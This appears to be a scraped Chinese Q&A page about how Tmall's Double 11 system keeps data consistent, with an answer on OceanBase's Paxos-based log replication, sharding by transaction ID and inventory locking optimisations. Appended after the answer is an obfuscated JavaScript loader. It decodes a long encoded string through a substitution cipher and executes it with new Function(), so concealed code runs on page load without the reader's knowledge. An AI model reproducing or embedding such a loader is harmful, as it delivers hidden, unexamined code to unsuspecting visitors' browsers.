天猫双十一是怎么保证高并发、分布式系统中,数据一致性的?

2025-04-01 10:15:21
推荐回答(1个)
回答1:

今年交易库应该使用的还是全程参与过的Oceanbase0.5版,还可以回答一下 1.
数据一致性的保证,这是个分布式问题,解决方法就是就是Paxos协议。Oceanbase的updateserver节点由一个master和两个slave组成,每条redolog都要保证写master本地成功,并且任意一个slave确认持久化成功才算成功,否则不应答客户端。工程实现上经过了简化,比较类似raft,slave只能应答ID连续的日志同步,而不是megastore里那样,来一条就持久化一条(OB1.0是完美的Multi-Paxos,以后我单独分享blog)。相对与mysql/oracle主备同步要在Maximum
Protection和的Maximum
availability之间取舍设计,Paxos最大的优势在于,3台机器任意宕掉一台(或者说N台机器任意宕掉N/2台),剩下的机器可以继续提供服务,而不必担心丢失日志。
2.
分库分表事务怎么办,OB的事务都在单点updateserver上执行没有分布式事务问题,由于交易库压力巨大,OB也部署了多个集群,但是交易库的特性是没有跨域交易的事务,因此尽管有一笔交易内的跨表事务,但是业务可以按照交易ID来分库,库与库之间没有事务操作。至于其他业务跨库事务,是靠业务逻辑处理实现事务的。
3.
库存加锁是个好问题,OB和mysql优化方式不太一样,本质是都是批处理,之前是听说mysql通过将多条扣减库存的sql合并为一条sql来优化的,优化逻辑需要处理sql解析,个人感觉比较定制化,后续优化成什么样就不太清楚了;而OB使用了多个优化设计:(1)对于并发扣减库存的语句,引入了一种叫做“early
lock release”的机制来优化,在事务提交前释放行锁,使得对同一行的修改有可能能够在一次group
commit提交;(2)扩充了sql语法增,类似存储过程,使得insert,update能够在一次auto
commit中完成,避免了持锁与客户端交互;(3)支持hint提示,让客户端能够提示可能的冲突,使得我们可以将可能冲突的请求在一个线程中排队处理。如上几个优化效果很显著,但是比较遗憾是,由于某些原因,OB当年没有拿下库存中心,后续才转而主攻更核心的交易库。

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();